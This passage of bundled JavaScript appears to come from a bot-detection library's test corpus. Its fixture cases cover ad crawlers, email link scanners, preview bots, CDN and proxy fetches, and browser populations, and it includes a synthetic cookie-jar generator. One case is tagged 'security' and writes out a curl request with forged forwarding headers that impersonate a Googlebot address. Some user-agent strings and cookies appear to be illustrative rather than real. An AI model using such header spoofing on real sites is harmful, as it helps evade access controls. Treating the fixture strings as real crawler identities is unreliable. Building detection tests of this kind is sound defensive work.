fetcher("adv-ias", "Integral Ad Science", "ad-verification", "Mozilla/5.0 (compatible; IAS crawler; +https://integralads.com/site-indexing-policy/)", "Brand-safety classification of pages carrying advertising"),
|
|
1894
|
+
fetcher("adv-moat", "Oracle Moat", "ad-verification", "Mozilla/5.0 (compatible; MoatBot/1.0; +https://moat.com/bot)", "Viewability and attention measurement"),
|
|
1895
|
+
fetcher("adv-comscore", "Comscore", "ad-verification", "Mozilla/5.0 (compatible; proximic; +https://www.comscore.com/Web-Crawler)", "Contextual classification for audience measurement; the crawler still uses its acquired Proximic name"),
|
|
1896
|
+
fetcher("adv-grapeshot", "Grapeshot", "ad-verification", "Mozilla/5.0 (compatible; GrapeshotCrawler/2.0; +http://www.grapeshot.co.uk/crawler.php)", "Contextual keyword classification, now part of Oracle"),
|
|
1897
|
+
fetcher("adv-peer39", "Peer39", "ad-verification", "Mozilla/5.0 (compatible; Peer39Bot/1.0; +https://www.peer39.com/bot)", "Page-level contextual categorisation for advertisers"),
|
|
1898
|
+
fetcher("adv-adbeat", "Adbeat", "ad-verification", "Mozilla/5.0 (compatible; Adbeat_Bot; +https://www.adbeat.com/operation_policy)", "Competitive advertising intelligence", { audience: "unwanted-bot" }),
|
|
1899
|
+
fetcher("adv-adsbot-landing", "AdsBot checking a landing page", "ad-verification", "AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html)", "Google's mobile landing-page quality checker; blocking it lowers ad quality scores directly"),
|
|
1900
|
+
fetcher("adv-bing-ads", "Microsoft Advertising landing check", "ad-verification", "Mozilla/5.0 (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm)", "The equivalent for Microsoft Advertising"),
|
|
1901
|
+
fetcher("adv-criteo", "Criteo", "ad-verification", "Mozilla/5.0 (compatible; CriteoBot/0.1; +https://www.criteo.com/criteo-crawler/)", "Retargeting; crawls product pages to build creatives"),
|
|
1902
|
+
fetcher("adv-taboola", "Taboola", "ad-verification", "Mozilla/5.0 (compatible; TaboolaBot/1.0; +https://www.taboola.com/bot)", "Content recommendation crawling"),
|
|
1903
|
+
fetcher("adv-outbrain", "Outbrain", "ad-verification", "Mozilla/5.0 (compatible; OutbrainBot/1.0; +https://www.outbrain.com/bot)", "Content recommendation crawling"),
|
|
1904
|
+
fetcher("adv-pubmatic", "PubMatic", "ad-verification", "Mozilla/5.0 (compatible; PubMaticBot/1.0; +https://pubmatic.com/bot)", "Supply-side platform verifying inventory"),
|
|
1905
|
+
fetcher("adv-ttd", "The Trade Desk", "ad-verification", "Mozilla/5.0 (compatible; TTD-Content/1.0; +https://www.thetradedesk.com/general/crawler)", "Demand-side contextual crawling"),
|
|
1906
|
+
// ---------------------------------------------------------------------------
|
|
1907
|
+
// Email link protection. Fires before a person clicks, sometimes long before.
|
|
1908
|
+
// ---------------------------------------------------------------------------
|
|
1909
|
+
bot({
|
|
1910
|
+
id: "email-microsoft-safelinks",
|
|
1911
|
+
title: "Microsoft Defender Safe Links",
|
|
1912
|
+
audience: "benign-bot",
|
|
1913
|
+
category: "email-link-scanner",
|
|
1914
|
+
provenance: "Microsoft 365 rewrites every link in inbound mail and fetches it at delivery time and again at click time",
|
|
1915
|
+
notes: "Almost every corporate recipient sits behind this. If a marketing email goes to ten thousand Microsoft 365 mailboxes, your server sees ten thousand fetches from Microsoft before a single person clicks \u2014 and blocking them can mark the link unsafe, so nobody ever arrives.",
|
|
1916
|
+
requests: [crawler("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 BingPreview/1.0b")],
|
|
1917
|
+
expect: { verdict: "confirmed-bot", certain: true, identity: "bingbot" }
|
|
1918
|
+
}),
|
|
1919
|
+
fetcher("email-proofpoint", "Proofpoint URL Defense", "email-link-scanner", "Mozilla/5.0 (compatible; ProofpointURLDefenseBot/1.0; +https://www.proofpoint.com/us/threat-reference/url-defense)", "Rewrites and pre-fetches links in enterprise mail"),
|
|
1920
|
+
fetcher("email-mimecast", "Mimecast URL Protect", "email-link-scanner", "Mozilla/5.0 (compatible; MimecastURLProtectBot/1.0; +https://www.mimecast.com/products/url-protect/)", "The same mechanism, very common in the UK and Australia"),
|
|
1921
|
+
fetcher("email-barracuda", "Barracuda Link Protection", "email-link-scanner", "Mozilla/5.0 (compatible; BarracudaLinkProtectBot/1.0; +https://www.barracuda.com/link-protection)", "Mail-gateway link scanning"),
|
|
1922
|
+
fetcher("email-cisco-esa", "Cisco Secure Email", "email-link-scanner", "Mozilla/5.0 (compatible; CiscoSecureEmailBot/1.0; +https://www.cisco.com/go/emailsecurity)", "Outbreak filters fetch URLs before delivery"),
|
|
1923
|
+
fetcher("email-google-safe", "Gmail link scanning", "email-link-scanner", "Mozilla/5.0 (compatible; Google-Safety; +http://www.google.com/bot.html)", "Gmail checks links against Safe Browsing before showing them"),
|
|
1924
|
+
fetcher("email-slack-unfurl", "Slack unfurling a link posted in a channel", "email-link-scanner", "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)", "Fires the instant somebody pastes a URL, before anyone opens it"),
|
|
1925
|
+
fetcher("email-teams-unfurl", "Microsoft Teams unfurling a link", "email-link-scanner", "Mozilla/5.0 (compatible; MicrosoftPreview/2.0; +https://aka.ms/MicrosoftPreview)", "Teams renders its own preview cards"),
|
|
1926
|
+
fetcher("email-zoom-preview", "Zoom chat link preview", "email-link-scanner", "Mozilla/5.0 (compatible; ZoomBot/1.0; +https://zoom.us/bot)", "Chat clients preview links the same way mail gateways scan them"),
|
|
1927
|
+
bot({
|
|
1928
|
+
id: "email-newsletter-open-tracker",
|
|
1929
|
+
title: "An email client fetching a tracking pixel",
|
|
1930
|
+
audience: "infrastructure",
|
|
1931
|
+
category: "email-link-scanner",
|
|
1932
|
+
provenance: "Apple Mail Privacy Protection pre-fetches every remote image in every message, from Apple's own infrastructure, whether or not the message is opened",
|
|
1933
|
+
notes: "Why open rates stopped meaning anything. From a server's point of view this is a fetch with no person attached, at a time nobody chose, from an address that belongs to neither party.",
|
|
1934
|
+
requests: [plain("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko)", [["Accept", "image/avif,image/webp,image/apng,image/*,*/*;q=0.8"], ["Accept-Encoding", "gzip, deflate, br"], ["Accept-Language", "en-GB,en;q=0.9"]])],
|
|
1935
|
+
expect: { certain: false, neverAction: ["drop"] }
|
|
1936
|
+
}),
|
|
1937
|
+
// ---------------------------------------------------------------------------
|
|
1938
|
+
// Chat and messaging previews, which behave like both of the above.
|
|
1939
|
+
// ---------------------------------------------------------------------------
|
|
1940
|
+
fetcher("preview-signal", "Signal link preview", "link-unfurler", "Mozilla/5.0 (compatible; SignalBot/1.0; +https://signal.org/bot)", "Signal generates previews on the sender's device before the message is sent"),
|
|
1941
|
+
fetcher("preview-imessage", "iMessage rich link", "link-unfurler", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)", "iMessage builds Rich Links using Applebot"),
|
|
1942
|
+
fetcher("preview-matrix", "A Matrix homeserver preview", "link-unfurler", "Mozilla/5.0 (compatible; Synapse/1.121.0; +https://matrix.org/docs/spec/)", "Every Matrix homeserver generates its own previews, so one link fetches from many servers"),
|
|
1943
|
+
fetcher("preview-bluesky", "Bluesky link card", "link-unfurler", "Mozilla/5.0 (compatible; BlueskyBot/1.0; +https://bsky.app/about/bot)", "Builds the link card shown in a post"),
|
|
1944
|
+
fetcher("preview-threads", "Threads link preview", "link-unfurler", "meta-externalfetcher/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)", "Meta's fetch-on-behalf-of-a-user crawler, shared across its products")
|
|
1945
|
+
];
|
|
1946
|
+
|
|
1947
|
+
// src/corpus/cookies.ts
|
|
1948
|
+
function digits(seed, length) {
|
|
1949
|
+
let hash = 2166136261;
|
|
1950
|
+
let out = "";
|
|
1951
|
+
for (let i = 0; out.length < length; i++) {
|
|
1952
|
+
hash ^= seed.charCodeAt(i % seed.length) + i;
|
|
1953
|
+
hash = Math.imul(hash, 16777619) >>> 0;
|
|
1954
|
+
out += String(hash % 1e9).padStart(9, "0");
|
|
1955
|
+
}
|
|
1956
|
+
return out.slice(0, length);
|
|
1957
|
+
}
|
|
1958
|
+
function cookieJar(options = {}) {
|
|
1959
|
+
const visitor = options.visitor ?? "v1";
|
|
1960
|
+
const firstSeen = options.firstSeen ?? 175392e4;
|
|
1961
|
+
const sessionStart = options.sessionStart ?? 1756544400;
|
|
1962
|
+
const pairs = [];
|
|
1963
|
+
if (options.analytics !== false) {
|
|
1964
|
+
const clientId = `GA1.1.${digits(`${visitor}ga`, 10)}.${firstSeen}`;
|
|
1965
|
+
pairs.push(["_ga", clientId]);
|
|
1966
|
+
pairs.push(["_ga_QK7X2ZLM4P", `GS1.1.${sessionStart}.4.1.${sessionStart + 187}.58.0.0`]);
|
|
1967
|
+
}
|
|
1968
|
+
if (options.advertising === true) {
|
|
1969
|
+
pairs.push(["_fbp", `fb.1.${firstSeen}000.${digits(`${visitor}fb`, 10)}`]);
|
|
1970
|
+
pairs.push(["_gcl_au", `1.1.${digits(`${visitor}gcl`, 9)}.${firstSeen}`]);
|
|
1971
|
+
}
|
|
1972
|
+
if (options.consent === true) {
|
|
1973
|
+
pairs.push([
|
|
1974
|
+
"OptanonConsent",
|
|
1975
|
+
`isGpcEnabled=0&datestamp=Sat+Aug+30+2026+09%3A00%3A00+GMT%2B0000&version=202405.1.0&interactionCount=1&groups=C0001%3A1%2CC0002%3A1%2CC0003%3A1%2CC0004%3A0`
|
|
1976
|
+
]);
|
|
1977
|
+
pairs.push(
|
|
1978
|
+
["euconsent-v2", "CQJd8YAQJd8YAAcABBENBhFsAP_gAEPgAAYgKPtV_G__bWlr8X73aftkeY1P9_h77sQxBhfJE-4FzLvW_JwXx2ExNA36tqIKmRIAu3TBIQNlHJDURVCgaogVryDMak2coTNKJ6BkiFMRO2dYCF5vmwtj-QKY5vr991dx2B-t7dr83dzyy4hHn3a5_2a0WJCdA5-tDfv9bROb-9IOd_x8v4v8_F_rE2_eT1l_tWvp7D9-cts7_XW89_fff_9Pn_-uB_-_3_vAAA"]
|
|
1979
|
+
);
|
|
1980
|
+
}
|
|
1981
|
+
if (options.cloudflare === true) {
|
|
1982
|
+
pairs.push(["__cf_bm", `${digits(`${visitor}cf`, 22)}.${sessionStart}-1.0.1.1-${digits(`${visitor}cfb`, 40)}`]);
|
|
1983
|
+
pairs.push(["cf_clearance", `${digits(`${visitor}cfc`, 32)}-${sessionStart}-1.2.1.1-${digits(`${visitor}cfd`, 48)}`]);
|
|
1984
|
+
}
|
|
1985
|
+
if (options.productAnalytics === true) {
|
|
1986
|
+
pairs.push(["_hjSessionUser_3184920", `eyJpZCI6IjQ0NmE${digits(`${visitor}hj`, 8)}IiwiY3JlYXRlZCI6MTc1MzkyMDAwMH0=`]);
|
|
1987
|
+
pairs.push(["intercom-id-jf7q2wnx", `d8${digits(`${visitor}ic`, 6)}-4a1c-9e0b-${digits(`${visitor}ic2`, 12)}`]);
|
|
1988
|
+
}
|
|
1989
|
+
if (options.application !== false) {
|
|
1990
|
+
pairs.push(["sid", `s%3A${digits(`${visitor}sid`, 24)}.${digits(`${visitor}sig`, 26)}`]);
|
|
1991
|
+
pairs.push(["csrftoken", digits(`${visitor}csrf`, 32)]);
|
|
1992
|
+
}
|
|
1993
|
+
for (const [name, value] of options.extra ?? []) pairs.push([name, value]);
|
|
1994
|
+
return pairs.map(([name, value]) => `${name}=${value}`).join("; ");
|
|
1995
|
+
}
|
|
1996
|
+
function freshVisitorJar(visitor = "new") {
|
|
1997
|
+
return cookieJar({ visitor, analytics: false, application: true });
|
|
1998
|
+
}
|
|
1999
|
+
function returningCustomerJar(visitor = "returning") {
|
|
2000
|
+
return cookieJar({
|
|
2001
|
+
visitor,
|
|
2002
|
+
analytics: true,
|
|
2003
|
+
advertising: true,
|
|
2004
|
+
consent: true,
|
|
2005
|
+
cloudflare: true,
|
|
2006
|
+
productAnalytics: true,
|
|
2007
|
+
application: true,
|
|
2008
|
+
extra: [
|
|
2009
|
+
["cart", `${digits(`${visitor}cart`, 8)}%3A3items`],
|
|
2010
|
+
["locale", "en-GB"],
|
|
2011
|
+
["currency", "GBP"]
|
|
2012
|
+
]
|
|
2013
|
+
});
|
|
2014
|
+
}
|
|
2015
|
+
|
|
2016
|
+
// src/corpus/cdn-gateways.ts
|
|
2017
|
+
function edge(id, title, userAgent, provenance, extra = [], options = {}) {
|
|
2018
|
+
return bot({
|
|
2019
|
+
id,
|
|
2020
|
+
title,
|
|
2021
|
+
audience: "infrastructure",
|
|
2022
|
+
category: "edge-infrastructure",
|
|
2023
|
+
provenance,
|
|
2024
|
+
...options.notes !== void 0 ? { notes: options.notes } : {},
|
|
2025
|
+
requests: [plain(userAgent, [["Accept-Encoding", "gzip, br"], ...extra])],
|
|
2026
|
+
expect: { neverAction: ["block", "drop", "redirect"] },
|
|
2027
|
+
tags: ["allowlist-candidate"]
|
|
2028
|
+
});
|
|
2029
|
+
}
|
|
2030
|
+
var CDN_GATEWAY_CASES = [
|
|
2031
|
+
// ---------------------------------------------------------------------------
|
|
2032
|
+
// CDN and edge fetchers pulling from origin.
|
|
2033
|
+
// ---------------------------------------------------------------------------
|
|
2034
|
+
edge("edge-cloudflare-origin", "Cloudflare fetching from origin", "Mozilla/5.0 (compatible; Cloudflare-Traffic-Manager/1.0; +https://www.cloudflare.com/bot)", "A CDN revalidating a cached object presents its own identity to the origin", [["CF-Connecting-IP", "203.0.113.88"], ["CF-Ray", "8f2a1c7d4e9b3210-LHR"], ["CF-IPCountry", "GB"], ["X-Forwarded-For", "203.0.113.88"], ["X-Forwarded-Proto", "https"]], { notes: "The real client address arrives in CF-Connecting-IP, which only Cloudflare can set. Reading X-Forwarded-For here instead would take whatever the client wrote." }),
|
|
2035
|
+
edge("edge-fastly-shield", "Fastly shield-tier fetch", "Mozilla/5.0 (compatible; Fastly/1.0)", "A shield POP consolidating requests before they reach origin", [["Fastly-Client-IP", "198.51.100.44"], ["X-Forwarded-For", "198.51.100.44, 151.101.1.1"], ["Fastly-FF", "a1b2c3"], ["X-Varnish", "912837465"]]),
|
|
2036
|
+
edge("edge-akamai", "Akamai edge fetch", "Mozilla/5.0 (compatible; Akamai/1.0)", "Akamai forwards the client address in True-Client-IP", [["True-Client-IP", "192.0.2.77"], ["X-Forwarded-For", "192.0.2.77"], ["Akamai-Origin-Hop", "2"], ["Via", "1.1 v1-akamaitech.net(ghost) (AkamaiGHost)"]]),
|
|
2037
|
+
edge("edge-cloudfront", "CloudFront origin request", "Amazon CloudFront", "CloudFront identifies itself with a bare product name and adds its own viewer headers", [["X-Amz-Cf-Id", "K3sLmN9pQrStUvWxYz01234567890AbCdEfGhIjKlMnOpQrSt=="], ["CloudFront-Viewer-Country", "DE"], ["CloudFront-Is-Mobile-Viewer", "false"], ["X-Forwarded-For", "198.51.100.9"], ["Via", "2.0 a1b2c3d4.cloudfront.net (CloudFront)"]], { certain: false }),
|
|
2038
|
+
edge("edge-bunny", "Bunny CDN origin pull", "Mozilla/5.0 (compatible; BunnyCDN/1.0)", "A smaller CDN pulling an uncached object", [["X-Forwarded-For", "203.0.113.5"], ["CDN-PullZone", "184920"], ["CDN-RequestCountryCode", "PL"]]),
|
|
2039
|
+
edge("edge-vercel", "Vercel edge function calling back to the API", "Vercel Edge Functions", "A serverless edge runtime invoking an origin route", [["X-Vercel-Id", "lhr1::iad1::abcde-1756544400123-1a2b3c4d5e6f"], ["X-Vercel-IP-Country", "GB"], ["X-Forwarded-For", "203.0.113.201"]], { certain: false }),
|
|
2040
|
+
edge("edge-cloudflare-worker", "A Cloudflare Worker subrequest", "Mozilla/5.0 (compatible; Cloudflare-Workers/1.0)", "Workers make subrequests that arrive at origin with their own identity", [["CF-Worker", "shop.example"], ["X-Forwarded-For", "203.0.113.14"]]),
|
|
2041
|
+
// ---------------------------------------------------------------------------
|
|
2042
|
+
// Gateways, meshes and load balancers.
|
|
2043
|
+
// ---------------------------------------------------------------------------
|
|
2044
|
+
edge("edge-aws-alb-health", "An ALB health check", "ELB-HealthChecker/2.0", "The load balancer deciding whether this target is in service", [["Connection", "close"]], { notes: "Perfectly regular, from a fixed private address, forever. Letting a bot policy decide whether the load balancer believes you are healthy is how a false positive becomes a rolling restart." }),
|
|
2045
|
+
edge("edge-gcp-health", "A Google Cloud health check", "GoogleHC/1.0", "The equivalent on Google Cloud load balancing", []),
|
|
2046
|
+
edge("edge-azure-probe", "An Azure Front Door probe", "Edge Health Probe", "Azure Front Door probing origin health from every edge location it serves from", []),
|
|
2047
|
+
edge("edge-envoy-mesh", "An Envoy sidecar forwarding within a service mesh", "Envoy/HC", "Service-mesh health checking between sidecars", [["X-Envoy-Internal", "true"], ["X-Request-Id", "0b4d1c8a-3f2e-4a91-b7c6-52e0d8f19a3b"], ["X-Envoy-Expected-Rq-Timeout-Ms", "15000"]], { certain: false }),
|
|
2048
|
+
edge("edge-istio-probe", "An Istio readiness probe", "kube-probe/1.32", "Kubernetes probing the sidecar rather than the application", []),
|
|
2049
|
+
edge("edge-nginx-upstream", "An nginx reverse proxy forwarding a browser request", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36", "The proxy passes the client's User-Agent through and adds forwarding headers of its own", [["X-Real-IP", "203.0.113.130"], ["X-Forwarded-For", "203.0.113.130"], ["X-Forwarded-Proto", "https"], ["X-Forwarded-Host", "shop.example"]], { certain: false, notes: "The User-Agent belongs to a person; the connection belongs to the proxy. Getting the address wrong here mislabels a real customer as the proxy, or the proxy as a customer." }),
|
|
2050
|
+
edge("edge-haproxy-forward", "HAProxy forwarding with a Forwarded header", "curl/8.12.1", "The standardised Forwarded header from RFC 7239, still much rarer than X-Forwarded-For", [["Forwarded", "for=192.0.2.60;proto=https;by=203.0.113.43"], ["X-Forwarded-For", "192.0.2.60"]], { certain: false }),
|
|
2051
|
+
edge("edge-api-gateway", "An API gateway forwarding an authenticated call", "AmazonAPIGateway_a1b2c3d4e5", "API Gateway rewrites the request entirely before it reaches the integration", [["X-Amzn-Trace-Id", "Root=1-68b2a1c0-1a2b3c4d5e6f708192a3b4c5"], ["X-Forwarded-For", "198.51.100.120"], ["X-Forwarded-Port", "443"]], { certain: false }),
|
|
2052
|
+
edge("edge-kong", "Kong forwarding upstream", "Kong/3.9.0", "An API gateway adding its own trace headers", [["X-Kong-Request-Id", "9f8e7d6c5b4a39281706"], ["X-Forwarded-For", "203.0.113.66"]], { certain: false }),
|
|
2053
|
+
// ---------------------------------------------------------------------------
|
|
2054
|
+
// Address resolution: the highest-consequence configuration in the library.
|
|
2055
|
+
// ---------------------------------------------------------------------------
|
|
2056
|
+
human({
|
|
2057
|
+
id: "edge-person-behind-two-proxies",
|
|
2058
|
+
title: "A person behind a CDN and a reverse proxy",
|
|
2059
|
+
category: "forwarding",
|
|
2060
|
+
provenance: "Two hops: the CDN appends the client, the reverse proxy appends the CDN. Reading the wrong entry mislabels a customer.",
|
|
2061
|
+
notes: "The chain is client, then CDN, then proxy. With `trustedProxies` configured the walk stops at the first address that is not yours, which is the customer. With a hop count that is wrong by one it stops at the CDN, and every customer behind that CDN becomes one actor.",
|
|
2062
|
+
requests: [
|
|
2063
|
+
{
|
|
2064
|
+
...browser("chromeWindows", { cookie: returningCustomerJar("proxied"), kind: "same-origin-navigate", referer: "https://shop.example/" }),
|
|
2065
|
+
headers: [
|
|
2066
|
+
...browser("chromeWindows", { cookie: returningCustomerJar("proxied"), kind: "same-origin-navigate", referer: "https://shop.example/" }).headers,
|
|
2067
|
+
["X-Forwarded-For", "203.0.113.210, 198.51.100.1, 10.0.0.7"],
|
|
2068
|
+
["X-Forwarded-Proto", "https"],
|
|
2069
|
+
["Via", "1.1 cdn-edge (squid/6.6), 1.1 lb-01"]
|
|
2070
|
+
],
|
|
2071
|
+
path: "/products/91"
|
|
2072
|
+
}
|
|
2073
|
+
],
|
|
2074
|
+
expect: { certain: false }
|
|
2075
|
+
}),
|
|
2076
|
+
bot({
|
|
2077
|
+
id: "edge-xff-header-injection",
|
|
2078
|
+
title: "A client writing a forged chain into X-Forwarded-For",
|
|
2079
|
+
audience: "hostile",
|
|
2080
|
+
category: "forwarding",
|
|
2081
|
+
provenance: "Prepending entries is free; the header is whatever the sender types",
|
|
2082
|
+
notes: "Whatever it writes, it is still a bare library client and is classified as one. Address spoofing changes which *actor* the request is attributed to, not what the request is \u2014 which is why the classification and the actor key are separate concerns.",
|
|
2083
|
+
requests: [
|
|
2084
|
+
{
|
|
2085
|
+
headers: [["Host", "shop.example"], ["User-Agent", "curl/8.12.1"], ["Accept", "*/*"], ["X-Forwarded-For", "66.249.66.1, 8.8.8.8, 1.1.1.1"], ["X-Real-IP", "66.249.66.1"], ["True-Client-IP", "66.249.66.1"], ["CF-Connecting-IP", "66.249.66.1"]],
|
|
2086
|
+
ip: "192.0.2.222",
|
|
2087
|
+
protocol: "https",
|
|
2088
|
+
httpVersion: "1.1"
|
|
2089
|
+
}
|
|
2090
|
+
],
|
|
2091
|
+
expect: { verdict: "confirmed-bot", botClass: "http-client", certain: true },
|
|
2092
|
+
tags: ["security"]
|
|
2093
|
+
}),
|
|
2094
|
+
// ---------------------------------------------------------------------------
|
|
2095
|
+
// Mirrors, caches and other people's infrastructure carrying your content.
|
|
2096
|
+
// ---------------------------------------------------------------------------
|
|
2097
|
+
edge("edge-google-amp", "Google AMP cache fetching a page", "Mozilla/5.0 (compatible; Google-AMPHTML; +http://www.google.com/bot.html)", "The AMP cache re-serves your page from Google's infrastructure"),
|
|
2098
|
+
edge("edge-cloudflare-alwaysonline", "Cloudflare Always Online archiving a page", "Mozilla/5.0 (compatible; CloudflareAlwaysOnline/1.0; +http://www.cloudflare.com/always-online) AppleWebKit/534.34", "Cloudflare snapshots pages so it can serve them while your origin is down"),
|
|
2099
|
+
edge("edge-wordpress-jetpack", "Jetpack fetching from a WordPress site", "Jetpack by WordPress.com", "Jetpack proxies images and stats through WordPress.com infrastructure", [], { certain: false }),
|
|
2100
|
+
edge("edge-imgproxy", "An image proxy fetching a source image", "imgproxy/3.27.2", "Image proxies fetch originals and re-encode them", [], { certain: false }),
|
|
2101
|
+
edge("edge-wayback-replay", "The Wayback Machine replaying an archived page", "Mozilla/5.0 (compatible; archive.org_bot; +http://archive.org/details/archive.org_bot)", "Replay fetches missing subresources live from the origin"),
|
|
2102
|
+
edge("edge-rss-proxy", "A feed proxy normalising a feed", "Mozilla/5.0 (compatible; FeedBurner/1.0; +https://feedburner.google.com)", "Feed proxies fetch once and fan out to many subscribers")
|
|
2103
|
+
];
|
|
2104
|
+
|
|
2105
|
+
// src/corpus/humans-browsers.ts
|
|
2106
|
+
var SITE = "https://shop.example";
|
|
2107
|
+
function landing(name, title, provenance, options = {}, notes) {
|
|
2108
|
+
return human({
|
|
2109
|
+
id: `browse-${kebab(name)}`,
|
|
2110
|
+
title,
|
|
2111
|
+
category: "browser-population",
|
|
2112
|
+
provenance,
|
|
2113
|
+
...notes !== void 0 ? { notes } : {},
|
|
2114
|
+
requests: [{ ...browser(name, { cookie: freshVisitorJar(name), ...options }), path: "/" }],
|
|
2115
|
+
expect: { certain: false, verdict: ["unknown", "human"] }
|
|
2116
|
+
});
|
|
2117
|
+
}
|
|
2118
|
+
function kebab(name) {
|
|
2119
|
+
return name.replace(/([a-z0-9])([A-Z])/g, "$1-$2").toLowerCase();
|
|
2120
|
+
}
|
|
2121
|
+
function scenarios(name, label, list) {
|
|
2122
|
+
return list.map(
|
|
2123
|
+
(scenario) => human({
|
|
2124
|
+
id: `browse-${kebab(name)}-${scenario.suffix}`,
|
|
2125
|
+
title: `${label}: ${scenario.title}`,
|
|
2126
|
+
category: "browser-scenario",
|
|
2127
|
+
provenance: "Header set derived from the engine's documented behaviour for this request kind",
|
|
2128
|
+
requests: [{ ...browser(name, scenario.options), ...scenario.path !== void 0 ? { path: scenario.path } : {} }],
|
|
2129
|
+
expect: { certain: false, verdict: ["unknown", "human"] }
|
|
2130
|
+
})
|
|
2131
|
+
);
|
|
2132
|
+
}
|
|
2133
|
+
var COMMON = [
|
|
2134
|
+
{
|
|
2135
|
+
suffix: "returning",
|
|
2136
|
+
title: "a returning customer following an internal link",
|
|
2137
|
+
path: "/products/1184",
|
|
2138
|
+
options: { kind: "same-origin-navigate", referer: `${SITE}/products`, cookie: returningCustomerJar("regular") }
|
|
2139
|
+
},
|
|
2140
|
+
{
|
|
2141
|
+
suffix: "high-entropy-hints",
|
|
2142
|
+
title: "after the server asked for high-entropy Client Hints",
|
|
2143
|
+
path: "/checkout",
|
|
2144
|
+
options: { kind: "same-origin-navigate", referer: `${SITE}/basket`, cookie: returningCustomerJar("hints"), highEntropyHints: true, prefers: { colorScheme: "dark", reducedMotion: "no-preference" } }
|
|
2145
|
+
},
|
|
2146
|
+
{
|
|
2147
|
+
suffix: "xhr",
|
|
2148
|
+
title: "an in-page fetch() for JSON",
|
|
2149
|
+
path: "/api/basket",
|
|
2150
|
+
options: { kind: "xhr", cookie: returningCustomerJar("xhr"), origin: SITE }
|
|
2151
|
+
},
|
|
2152
|
+
{
|
|
2153
|
+
suffix: "reload",
|
|
2154
|
+
title: "pressing reload on a page it already has cached",
|
|
2155
|
+
path: "/products/1184",
|
|
2156
|
+
options: { kind: "navigate", cookie: returningCustomerJar("reload"), reload: true, revalidate: { etag: 'W/"6a9-19256f0c1d8"', modifiedSince: "Fri, 29 Aug 2026 14:22:10 GMT" } }
|
|
2157
|
+
},
|
|
2158
|
+
{
|
|
2159
|
+
suffix: "form-post",
|
|
2160
|
+
title: "submitting the checkout form",
|
|
2161
|
+
path: "/checkout/confirm",
|
|
2162
|
+
options: { kind: "form-post", referer: `${SITE}/checkout`, origin: SITE, cookie: returningCustomerJar("post"), contentType: "application/x-www-form-urlencoded", contentLength: 284 }
|
|
2163
|
+
}
|
|
2164
|
+
];
|
|
2165
|
+
var MOBILE_EXTRAS = [
|
|
2166
|
+
{
|
|
2167
|
+
suffix: "metered",
|
|
2168
|
+
title: "on a metered connection with data saver on",
|
|
2169
|
+
path: "/products",
|
|
2170
|
+
options: { kind: "same-origin-navigate", referer: `${SITE}/`, cookie: cookieJar({ visitor: "metered" }), saveData: true, networkHints: { rtt: 300, downlink: 0.4, ect: "3g" } }
|
|
2171
|
+
},
|
|
2172
|
+
{
|
|
2173
|
+
suffix: "prefetch",
|
|
2174
|
+
title: "a speculative prefetch while a link is hovered",
|
|
2175
|
+
path: "/products/2210",
|
|
2176
|
+
options: { kind: "same-origin-navigate", referer: `${SITE}/products`, cookie: cookieJar({ visitor: "prefetch" }), prefetch: true }
|
|
2177
|
+
}
|
|
2178
|
+
];
|
|
2179
|
+
var HUMAN_BROWSER_CASES = [
|
|
2180
|
+
// ---------------------------------------------------------------------------
|
|
2181
|
+
// Chromium desktop
|
|
2182
|
+
// ---------------------------------------------------------------------------
|
|
2183
|
+
landing("chromeWindows", "Chrome 152 on Windows 11", "2026 User-Agent lists; Chromium freezes the minor version fields to 0.0.0 so the header leaks less"),
|
|
2184
|
+
landing("chromeMac", "Chrome 152 on an Apple-silicon Mac", "2026 User-Agent lists; the platform is reported as macOS through Client Hints while the UA still says Mac OS X 10_15_7"),
|
|
2185
|
+
landing("chromeLinux", "Chrome 152 on Linux", "2026 User-Agent lists. A small population that trips heuristics keyed on desktop operating-system share"),
|
|
2186
|
+
landing("chromeChromeOs", "Chrome 151 on a Chromebook", "CrOS builds carry a board and milestone in the UA and report 'Chrome OS' as the platform hint"),
|
|
2187
|
+
landing("edgeWindows", "Edge 150 on Windows", "Edge reports Chromium brands alongside its own and truncates its version to major.0.0.0 in the UA"),
|
|
2188
|
+
landing("edgeMac", "Edge 150 on macOS", "The same build on a different platform; only the platform hint and UA platform token differ"),
|
|
2189
|
+
landing("operaWindows", "Opera 135 on Windows", "Opera carries an OPR/ token after the Chrome/ token and reports an Opera brand"),
|
|
2190
|
+
landing("vivaldiWindows", "Vivaldi 7.6 on Windows", "Vivaldi appends its own token and reports a Vivaldi brand alongside Chromium"),
|
|
2191
|
+
landing(
|
|
2192
|
+
"braveWindows",
|
|
2193
|
+
"Brave on Windows with Shields up",
|
|
2194
|
+
"Brave presents an unmodified Chrome identity by design so that its users are not singled out, and adds Sec-GPC",
|
|
2195
|
+
{ gpc: true, dnt: true },
|
|
2196
|
+
"Deliberately indistinguishable from Chrome in the UA. The only tell is Sec-GPC, which is a privacy signal rather than an automation one \u2014 reading it as suspicious would invert its purpose."
|
|
2197
|
+
),
|
|
2198
|
+
landing("yandexWindows", "Yandex Browser 25.8 on Windows", "The dominant browser in Russia; reports YaBrowser and Yowser brands alongside Chromium"),
|
|
2199
|
+
// ---------------------------------------------------------------------------
|
|
2200
|
+
// Gecko
|
|
2201
|
+
// ---------------------------------------------------------------------------
|
|
2202
|
+
landing("firefoxWindows", "Firefox 148 on Windows", "2026 User-Agent lists. Gecko implements no Client Hints at all, which is correct and must not read as an omission"),
|
|
2203
|
+
landing("firefoxMac", "Firefox 148 on macOS", "2026 User-Agent lists"),
|
|
2204
|
+
landing("firefoxLinux", "Firefox 148 on Linux, German locale", "2026 User-Agent lists; a four-entry Accept-Language chain is entirely ordinary in Europe"),
|
|
2205
|
+
landing("firefoxEsr", "Firefox 140 ESR in a managed enterprise fleet", "ESR trails the release channel by roughly a year and is what most managed desktops run"),
|
|
2206
|
+
